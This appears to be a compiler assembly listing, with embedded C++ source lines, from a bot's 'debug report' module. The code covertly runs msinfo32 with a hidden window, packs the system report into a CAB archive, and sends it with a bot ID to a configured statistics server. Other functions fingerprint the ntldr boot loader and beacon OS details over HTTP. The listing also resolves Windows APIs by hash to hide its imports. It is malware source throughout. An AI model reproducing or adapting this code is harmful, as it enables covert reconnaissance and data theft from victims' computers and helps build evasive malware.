	00		 je	 $LN47@DebugRepor@11
; 620  : 
; 621  : 	do
; 622  : 	{
; 623  : 		// 
 msinfo32.exe
; 624  : 		MsInfoPath = GetPathToMsInfo32();
  0001c	e8 00 00 00 00	 call	 ?GetPathToMsInfo32@@YAPADXZ ; GetPathToMsInfo32
  00021	89 45 f4	 mov	 DWORD PTR _MsInfoPath$[ebp], eax
; 625  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetPathToMsInfo32() return '%s;", MsInfoPath);
; 626  : 		if (MsInfoPath == NULL) break;
  00024	3b c3		 cmp	 eax, ebx
  00026	0f 84 8c 01 00
	00		 je	 $LN1@DebugRepor@11
; 627  : 
; 628  : 		// 
; 629  : 		ReportPath = File::GetTempNameA();
  0002c	e8 00 00 00 00	 call	 ?GetTempNameA@File@@YAPADXZ ; File::GetTempNameA
  00031	89 45 fc	 mov	 DWORD PTR _ReportPath$[ebp], eax
; 630  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetTempNameA() for report file return '%s;", ReportPath);
; 631  : 		if (ReportPath == NULL) break;
  00034	3b c3		 cmp	 eax, ebx
  00036	0f 84 73 01 00
	00		 je	 $LN50@DebugRepor@11
  0003c	56		 push	 esi
; 632  : 
; 633  : 		MsInfoParam = STR::Alloc(2 * MAX_PATH);
  0003d	68 08 02 00 00	 push	 520			; 00000208H
  00042	e8 00 00 00 00	 call	 ?Alloc@STR@@YAPADK@Z	; STR::Alloc
  00047	8b f0		 mov	 esi, eax
  00049	59		 pop	 ecx
; 634  : 		if (MsInfoParam == NULL) break;
  0004a	3b f3		 cmp	 esi, ebx
  0004c	0f 84 31 01 00
	00		 je	 $LN15@DebugRepor@11
; 635  : 
; 636  : 		PROCESS_INFORMATION pi;
; 637  : 		STARTUPINFOA si;
; 638  : 
; 639  : 		m_memset(&si, 0, sizeof(si));
  00052	6a 44		 push	 68			; 00000044H
  00054	8d 45 8c	 lea	 eax, DWORD PTR _si$91709[ebp]
  00057	53		 push	 ebx
  00058	50		 push	 eax
  00059	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 640  : 		m_memset(&pi, 0, sizeof(pi));
  0005e	6a 10		 push	 16			; 00000010H
  00060	8d 45 d0	 lea	 eax, DWORD PTR _pi$91708[ebp]
  00063	53		 push	 ebx
  00064	50		 push	 eax
  00065	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 641  : 		m_memset(MsInfoParam, 0, STR::Length(MsInfoParam));
  0006a	56		 push	 esi
  0006b	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
  00070	50		 push	 eax
  00071	53		 push	 ebx
  00072	56		 push	 esi
  00073	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
  00078	83 c4 28	 add	 esp, 40			; 00000028H
; 642  : 
; 643  : 		// 
; 644  : 		si.cb = sizeof(si);
; 645  : 		si.wShowWindow = SW_HIDE;
; 646  : 		
; 647  : 		m_lstrcat(MsInfoParam, " /report \"");
  0007b	68 00 00 00 00	 push	 OFFSET ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@
  00080	33 c0		 xor	 eax, eax
  00082	56		 push	 esi
  00083	c7 45 8c 44 00
	00 00		 mov	 DWORD PTR _si$91709[ebp], 68 ; 00000044H
  0008a	66 89 45 bc	 mov	 WORD PTR _si$91709[ebp+48], ax
  0008e	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 648  : 		m_lstrcat(MsInfoParam, ReportPath);
  00093	ff 75 fc	 push	 DWORD PTR _ReportPath$[ebp]
  00096	56		 push	 esi
  00097	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 649  : 		m_lstrcat(MsInfoParam, "\"");
  0009c	68 00 00 00 00	 push	 OFFSET ??_C@_01BJJEKLCA@?$CC?$AA@
  000a1	56		 push	 esi
  000a2	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 650  : 		
; 651  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess('%s', '%s')",
; 652  : 			MsInfoPath, MsInfoParam);
; 653  : 
; 654  : 		BOOL process_result = (BOOL)pCreateProcessA(MsInfoPath, MsInfoParam, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  000a7	6a 3c		 push	 60			; 0000003cH
  000a9	68 c7 8a 31 46	 push	 1177651911		; 46318ac7H
  000ae	6a 01		 push	 1
  000b0	53		 push	 ebx
  000b1	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  000b6	83 c4 10	 add	 esp, 16			; 00000010H
  000b9	8d 4d d0	 lea	 ecx, DWORD PTR _pi$91708[ebp]
  000bc	51		 push	 ecx
  000bd	8d 4d 8c	 lea	 ecx, DWORD PTR _si$91709[ebp]
  000c0	51		 push	 ecx
  000c1	53		 push	 ebx
  000c2	53		 push	 ebx
  000c3	53		 push	 ebx
  000c4	53		 push	 ebx
  000c5	53		 push	 ebx
  000c6	53		 push	 ebx
  000c7	56		 push	 esi
  000c8	ff 75 f4	 push	 DWORD PTR _MsInfoPath$[ebp]
  000cb	ff d0		 call	 eax
; 655  : 
; 656  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess return %d.(ph=0x%X pid=%d)",
; 657  : 			process_result, pi.hProcess, pi.dwProcessId);
; 658  : 
; 659  : 		if (process_result == FALSE) break;
  000cd	85 c0		 test	 eax, eax
  000cf	0f 84 ae 00 00
	00		 je	 $LN15@DebugRepor@11
; 660  : 		if (pi.hProcess == NULL) break;
  000d5	39 5d d0	 cmp	 DWORD PTR _pi$91708[ebp], ebx
  000d8	0f 84 a5 00 00
	00		 je	 $LN15@DebugRepor@11
; 661  : 
; 662  : 		if (pi.hProcess != NULL)
; 663  : 		{
; 664  : 			DBGRPTDBG("DebugReportCreateConfigReportAndSend", "Waiting for msinfo32.");
; 665  : 			pWaitForSingleObject(pi.hProcess, INFINITE);
  000de	6a ff		 push	 -1
  000e0	ff 75 d0	 push	 DWORD PTR _pi$91708[ebp]
  000e3	e8 00 00 00 00	 call	 ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ; pushargEx<1,3309532403,46,void *,unsigned int>
; 666  : 			pCloseHandle(pi.hProcess);
  000e8	ff 75 d0	 push	 DWORD PTR _pi$91708[ebp]
  000eb	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  000f0	83 c4 0c	 add	 esp, 12			; 0000000cH
; 667  : 		}
; 668  : 
; 669  : 		if (pi.hThread != NULL) pCloseHandle(pi.hThread);
  000f3	39 5d d4	 cmp	 DWORD PTR _pi$91708[ebp+4], ebx
  000f6	74 09		 je	 SHORT $LN8@DebugRepor@11
  000f8	ff 75 d4	 push	 DWORD PTR _pi$91708[ebp+4]
  000fb	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  00100	59		 pop	 ecx
$LN8@DebugRepor@11:
; 670  : 
; 671  : 		DWORD attributes = (DWORD)pGetFileAttributesA(ReportPath);
  00101	ff 75 fc	 push	 DWORD PTR _ReportPath$[ebp]
  00104	e8 00 00 00 00	 call	 ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z ; pushargEx<1,1196787639,84,char *>
  00109	59		 pop	 ecx
; 672  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "'%s' attibutes 0x%X.",
; 673  : 			ReportPath, attributes);
; 674  : 		if (attributes == INVALID_FILE_ATTRIBUTES) break;
  0010a	83 f8 ff	 cmp	 eax, -1
  0010d	74 74		 je	 SHORT $LN15@DebugRepor@11
; 675  : 
; 676  : 		CabPath = File::GetTempNameA();
  0010f	e8 00 00 00 00	 call	 ?GetTempNameA@File@@YAPADXZ ; File::GetTempNameA
; 677  : 		HCAB CabHandle = CreateCab(CabPath);
  00114	50		 push	 eax
  00115	89 45 f8	 mov	 DWORD PTR _CabPath$[ebp], eax
  00118	e8 00 00 00 00	 call	 ?CreateCab@@YAPAXPBD@Z	; CreateCab
  0011d	8b f0		 mov	 esi, eax
  0011f	59		 pop	 ecx
; 678  : 
; 679  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateCab() return 0x%X.",
; 680  : 			CabHandle);
; 681  : 
; 682  : 		if (CabHandle == NULL) break;
  00120	3b f3		 cmp	 esi, ebx
  00122	74 5f		 je	 SHORT $LN15@DebugRepor@11
; 683  : 
; 684  : 		AddFileToCab(CabHandle, ReportPath, "sysinfo.txt");
  00124	68 00 00 00 00	 push	 OFFSET ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@
  00129	ff 75 fc	 push	 DWORD PTR _ReportPath$[ebp]
  0012c	56		 push	 esi
  0012d	e8 00 00 00 00	 call	 ?AddFileToCab@@YA_NPAXPBD1@Z ; AddFileToCab
; 685  : 		CloseCab(CabHandle);
  00132	56		 push	 esi
  00133	e8 00 00 00 00	 call	 ?CloseCab@@YAXPAX@Z	; CloseCab
; 686  : 
; 687  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sending sysinfo report.");
; 688  : 
; 689  : 		string BotUid = GenerateUidAsString(settings->StatPrefix);
  00138	8b 75 f0	 mov	 esi, DWORD PTR _settings$[ebp]
  0013b	83 c4 10	 add	 esp, 16			; 00000010H
  0013e	ff 76 04	 push	 DWORD PTR [esi+4]
  00141	8d 4d e8	 lea	 ecx, DWORD PTR $T93120[ebp]
  00144	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00149	8d 45 e8	 lea	 eax, DWORD PTR $T93120[ebp]
  0014c	50		 push	 eax
  0014d	8d 45 e0	 lea	 eax, DWORD PTR _BotUid$91819[ebp]
  00150	50		 push	 eax
  00151	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00156	59		 pop	 ecx
  00157	59		 pop	 ecx
  00158	8d 4d e8	 lea	 ecx, DWORD PTR $T93120[ebp]
  0015b	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 690  : 		DebugReportSendSysInfo(BotUid.t_str(), settings->StatUrl, CabPath);
  00160	8b 45 e4	 mov	 eax, DWORD PTR _BotUid$91819[ebp+4]
  00163	3b c3		 cmp	 eax, ebx
  00165	75 05		 jne	 SHORT $LN44@DebugRepor@11
  00167	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN44@DebugRepor@11:
  0016c	ff 75 f8	 push	 DWORD PTR _CabPath$[ebp]
  0016f	ff 76 08	 push	 DWORD PTR [esi+8]
  00172	50		 push	 eax
  00173	e8 00 00 00 00	 call	 ?DebugReportSendSysInfo@@YAXPAD00@Z ; DebugReportSendSysInfo
  00178	83 c4 0c	 add	 esp, 12			; 0000000cH
; 691  : 
; 692  : 		DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sysinfo report sent.");
; 693  : 	}
  0017b	8d 4d e0	 lea	 ecx, DWORD PTR _BotUid$91819[ebp]
  0017e	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN15@DebugRepor@11:
; 694  : 	while (false);
; 695  : 
; 696  : 	if (ReportPath != NULL) pDeleteFileA(ReportPath);
  00183	ff 75 fc	 push	 DWORD PTR _ReportPath$[ebp]
  00186	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *>
; 697  : 	if (CabPath != NULL)    pDeleteFileA(CabPath);
  0018b	8b 75 f8	 mov	 esi, DWORD PTR _CabPath$[ebp]
  0018e	59		 pop	 ecx
  0018f	3b f3		 cmp	 esi, ebx
  00191	74 07		 je	 SHORT $LN4@DebugRepor@11
  00193	56		 push	 esi
  00194	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *>
  00199	59		 pop	 ecx
$LN4@DebugRepor@11:
; 698  : 
; 699  : 	if (ReportPath != NULL) STR::Free(ReportPath);
  0019a	ff 75 fc	 push	 DWORD PTR _ReportPath$[ebp]
  0019d	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  001a2	59		 pop	 ecx
; 700  : 	if (CabPath != NULL)    STR::Free(CabPath);
  001a3	3b f3		 cmp	 esi, ebx
  001a5	74 07		 je	 SHORT $LN51@DebugRepor@11
  001a7	56		 push	 esi
  001a8	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  001ad	59		 pop	 ecx
$LN51@DebugRepor@11:
  001ae	5e		 pop	 esi
$LN50@DebugRepor@11:
; 701  : 	if (MsInfoPath != NULL) STR::Free(MsInfoPath);
  001af	ff 75 f4	 push	 DWORD PTR _MsInfoPath$[ebp]
  001b2	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  001b7	59		 pop	 ecx
$LN1@DebugRepor@11:
; 702  : 
; 703  : 	DebugReportFreeSettings(settings);
  001b8	ff 75 f0	 push	 DWORD PTR _settings$[ebp]
  001bb	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  001c0	59		 pop	 ecx
; 704  : 
; 705  : 	DBGRPTDBG("DebugReportCreateConfigReportAndSend", "finished.");
$LN47@DebugRepor@11:
  001c1	5b		 pop	 ebx
; 706  : }
  001c2	c9		 leave
  001c3	c3		 ret	 0
?DebugReportCreateConfigReportAndSend@@YAXXZ ENDP	; DebugReportCreateConfigReportAndSend
_TEXT	ENDS
PUBLIC	??_C@_06BFGAGGII@170_dr?$AA@			; `string'
PUBLIC	?GetDriverUrl@@YA_NPADK@Z			; GetDriverUrl
EXTRN	?m_lstrcpy@@YGXPADPBD@Z:PROC			; m_lstrcpy
;	COMDAT ??_C@_06BFGAGGII@170_dr?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_06BFGAGGII@170_dr?$AA@ DB '170_dr', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?GetDriverUrl@@YA_NPADK@Z
_TEXT	SEGMENT
_BotUid$ = -16						; size = 8
$T93170 = -8						; size = 8
_Params$ = -4						; size = 4
_UrlBuffer$ = 8						; size = 4
_UrlBufferSize$ = 12					; size = 4
?GetDriverUrl@@YA_NPADK@Z PROC				; GetDriverUrl, COMDAT
; 709  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
  00006	57		 push	 edi
; 710  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00007	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000c	8b f8		 mov	 edi, eax
; 711  : 	DBGRPTDBG("GetDriverUrl",
; 712  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 713  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 714  : 		);
; 715  : 
; 716  : 	if (!settings->Enabled) return false;
  0000e	80 3f 00	 cmp	 BYTE PTR [edi], 0
  00011	75 05		 jne	 SHORT $LN2@GetDriverU
  00013	32 c0		 xor	 al, al
$LN3@GetDriverU:
  00015	5f		 pop	 edi
; 740  : 	
; 741  : 	return true;
; 742  : }
  00016	c9		 leave
  00017	c3		 ret	 0
$LN2@GetDriverU:
  00018	53		 push	 ebx
  00019	56		 push	 esi
; 717  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001a	ff 77 04	 push	 DWORD PTR [edi+4]
  0001d	8d 4d f8	 lea	 ecx, DWORD PTR $T93170[ebp]
  00020	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00025	8d 45 f8	 lea	 eax, DWORD PTR $T93170[ebp]
  00028	50		 push	 eax
  00029	8d 45 f0	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00032	59		 pop	 ecx
  00033	59		 pop	 ecx
  00034	8d 4d f8	 lea	 ecx, DWORD PTR $T93170[ebp]
  00037	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 718  : 
; 719  : 	m_memset(UrlBuffer, 0, UrlBufferSize);
  0003c	ff 75 0c	 push	 DWORD PTR _UrlBufferSize$[ebp]
  0003f	6a 00		 push	 0
  00041	ff 75 08	 push	 DWORD PTR _UrlBuffer$[ebp]
  00044	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 720  : 
; 721  : 	PStrings Fields = Strings::Create();
  00049	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 722  : 	AddURLParam(Fields, "cmd", "step");
  0004e	6a 00		 push	 0
  00050	be 00 00 00 00	 mov	 esi, OFFSET ??_C@_04CNBNFAL@step?$AA@
  00055	56		 push	 esi
  00056	8b d8		 mov	 ebx, eax
  00058	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  0005d	53		 push	 ebx
  0005e	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 723  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  00063	8b 45 f4	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00066	83 c4 1c	 add	 esp, 28			; 0000001cH
  00069	85 c0		 test	 eax, eax
  0006b	75 05		 jne	 SHORT $LN10@GetDriverU
  0006d	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN10@GetDriverU:
  00072	6a 00		 push	 0
  00074	50		 push	 eax
  00075	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  0007a	53		 push	 ebx
  0007b	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 724  : 	AddURLParam(Fields, "step", "170_dr"); //170_dr 
  00080	6a 00		 push	 0
  00082	68 00 00 00 00	 push	 OFFSET ??_C@_06BFGAGGII@170_dr?$AA@
  00087	56		 push	 esi
  00088	53		 push	 ebx
  00089	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 725  : 
; 726  : 	PCHAR Params = Strings::GetText(Fields, "&");
  0008e	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  00093	53		 push	 ebx
  00094	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 727  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  00099	50		 push	 eax
  0009a	ff 77 08	 push	 DWORD PTR [edi+8]
  0009d	89 45 fc	 mov	 DWORD PTR _Params$[ebp], eax
  000a0	6a 02		 push	 2
  000a2	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
  000a7	8b f0		 mov	 esi, eax
; 728  : 	
; 729  : 	DBGRPTDBG("GetDriverUrl", "Url='%s':%u (buffer_size=%u)", URL, STR::Length(URL),
; 730  : 		UrlBufferSize);
  000a9	56		 push	 esi
  000aa	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
; 731  : 
; 732  : 	if (UrlBufferSize < (STR::Length(URL) - 1)) return false;
  000af	56		 push	 esi
  000b0	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
  000b5	83 c4 3c	 add	 esp, 60			; 0000003cH
  000b8	48		 dec	 eax
  000b9	39 45 0c	 cmp	 DWORD PTR _UrlBufferSize$[ebp], eax
  000bc	73 13		 jae	 SHORT $LN1@GetDriverU
  000be	32 db		 xor	 bl, bl
$LN13@GetDriverU:
  000c0	8d 4d f0	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  000c3	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000c8	5e		 pop	 esi
  000c9	8a c3		 mov	 al, bl
  000cb	5b		 pop	 ebx
  000cc	e9 44 ff ff ff	 jmp	 $LN3@GetDriverU
$LN1@GetDriverU:
; 733  : 
; 734  : 	m_lstrcpy(UrlBuffer, URL);
  000d1	56		 push	 esi
  000d2	ff 75 08	 push	 DWORD PTR _UrlBuffer$[ebp]
  000d5	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 735  : 
; 736  : 	STR::Free(URL);
  000da	56		 push	 esi
  000db	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 737  : 	STR::Free(Params);
  000e0	ff 75 fc	 push	 DWORD PTR _Params$[ebp]
  000e3	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 738  : 	Strings::Free(Fields);
  000e8	53		 push	 ebx
  000e9	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 739  : 	DebugReportFreeSettings(settings);
  000ee	57		 push	 edi
  000ef	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000f4	83 c4 10	 add	 esp, 16			; 00000010H
  000f7	b3 01		 mov	 bl, 1
  000f9	eb c5		 jmp	 SHORT $LN13@GetDriverU
?GetDriverUrl@@YA_NPADK@Z ENDP				; GetDriverUrl
_TEXT	ENDS
PUBLIC	?DebugReportStep1@@YAXXZ			; DebugReportStep1
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportStep1@@YAXXZ
_TEXT	SEGMENT
_NtldrMd5Buffer$ = -124					; size = 100
_BotUid$ = -24						; size = 8
$T93188 = -16						; size = 8
_Params$ = -12						; size = 4
_OsInfo$ = -8						; size = 4
_URL$ = -4						; size = 4
_NtldrMd5$ = -4						; size = 4
?DebugReportStep1@@YAXXZ PROC				; DebugReportStep1, COMDAT
; 745  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 7c	 sub	 esp, 124		; 0000007cH
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 746  : 	CHAR NtldrMd5Buffer[100];
; 747  : 	PCHAR OsInfo = NULL;
; 748  : 	PCHAR NtldrMd5 = NULL;
; 749  : 
; 750  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00008	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000d	8b f0		 mov	 esi, eax
; 751  : 	DBGRPTDBG("GetDriverUrl",
; 752  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 753  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 754  : 		);
; 755  : 
; 756  : 	if (!settings->Enabled) return;
  0000f	33 db		 xor	 ebx, ebx
  00011	38 1e		 cmp	 BYTE PTR [esi], bl
  00013	0f 84 ea 00 00
	00		 je	 $LN3@DebugRepor@12
  00019	57		 push	 edi
; 757  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001a	ff 76 04	 push	 DWORD PTR [esi+4]
  0001d	8d 4d f0	 lea	 ecx, DWORD PTR $T93188[ebp]
  00020	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00025	8d 45 f0	 lea	 eax, DWORD PTR $T93188[ebp]
  00028	50		 push	 eax
  00029	8d 45 e8	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00032	59		 pop	 ecx
  00033	59		 pop	 ecx
  00034	8d 4d f0	 lea	 ecx, DWORD PTR $T93188[ebp]
  00037	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 758  : 
; 759  : 	OsInfo = GetOSInfo();
  0003c	e8 00 00 00 00	 call	 ?GetOSInfo@@YAPADXZ	; GetOSInfo
  00041	89 45 f8	 mov	 DWORD PTR _OsInfo$[ebp], eax
; 760  : 	NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer));
  00044	8d 45 84	 lea	 eax, DWORD PTR _NtldrMd5Buffer$[ebp]
  00047	6a 64		 push	 100			; 00000064H
  00049	50		 push	 eax
  0004a	e8 00 00 00 00	 call	 ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5
  0004f	89 45 fc	 mov	 DWORD PTR _NtldrMd5$[ebp], eax
; 761  : 
; 762  : 	PStrings Fields = Strings::Create();
  00052	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 763  : 	AddURLParam(Fields, "cmd", "beforerbt");
  00057	53		 push	 ebx
  00058	68 00 00 00 00	 push	 OFFSET ??_C@_09GCOHINED@beforerbt?$AA@
  0005d	8b f8		 mov	 edi, eax
  0005f	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  00064	57		 push	 edi
  00065	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 764  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  0006a	8b 45 ec	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  0006d	83 c4 18	 add	 esp, 24			; 00000018H
  00070	3b c3		 cmp	 eax, ebx
  00072	75 05		 jne	 SHORT $LN10@DebugRepor@12
  00074	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN10@DebugRepor@12:
  00079	53		 push	 ebx
  0007a	50		 push	 eax
  0007b	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  00080	57		 push	 edi
  00081	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 765  : 	AddURLParam(Fields, "os", OsInfo);
  00086	53		 push	 ebx
  00087	ff 75 f8	 push	 DWORD PTR _OsInfo$[ebp]
  0008a	68 00 00 00 00	 push	 OFFSET ??_C@_02EHCHIAMF@os?$AA@
  0008f	57		 push	 edi
  00090	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  00095	83 c4 20	 add	 esp, 32			; 00000020H
; 766  : 
; 767  : 	if (NtldrMd5 != NULL)
  00098	39 5d fc	 cmp	 DWORD PTR _NtldrMd5$[ebp], ebx
  0009b	74 12		 je	 SHORT $LN1@DebugRepor@12
; 768  : 	{
; 769  : 		AddURLParam(Fields, "cs01", NtldrMd5);
  0009d	53		 push	 ebx
  0009e	ff 75 fc	 push	 DWORD PTR _NtldrMd5$[ebp]
  000a1	68 00 00 00 00	 push	 OFFSET ??_C@_04HMPDOICP@cs01?$AA@
  000a6	57		 push	 edi
  000a7	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
  000ac	83 c4 10	 add	 esp, 16			; 00000010H
$LN1@DebugRepor@12:
; 770  : 	}
; 771  : 
; 772  : 	PCHAR Params = Strings::GetText(Fields, "&");
  000af	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  000b4	57		 push	 edi
  000b5	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 773  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  000ba	50		 push	 eax
  000bb	ff 76 08	 push	 DWORD PTR [esi+8]
  000be	89 45 f4	 mov	 DWORD PTR _Params$[ebp], eax
  000c1	6a 02		 push	 2
  000c3	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 774  : 
; 775  : 	PP_DPRINTF("DebugReportStep1: sending url='%s'", URL);
; 776  : 
; 777  : 	HTTP::Get(URL, NULL, NULL);
  000c8	53		 push	 ebx
  000c9	53		 push	 ebx
  000ca	50		 push	 eax
  000cb	89 45 fc	 mov	 DWORD PTR _URL$[ebp], eax
  000ce	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
; 778  : 
; 779  : 	STR::Free(URL);
  000d3	ff 75 fc	 push	 DWORD PTR _URL$[ebp]
  000d6	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 780  : 	STR::Free(Params);
  000db	ff 75 f4	 push	 DWORD PTR _Params$[ebp]
  000de	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 781  : 	Strings::Free(Fields);
  000e3	57		 push	 edi
  000e4	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 782  : 	MemFree(OsInfo);
  000e9	ff 75 f8	 push	 DWORD PTR _OsInfo$[ebp]
  000ec	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 783  : 	DebugReportFreeSettings(settings);
  000f1	56		 push	 esi
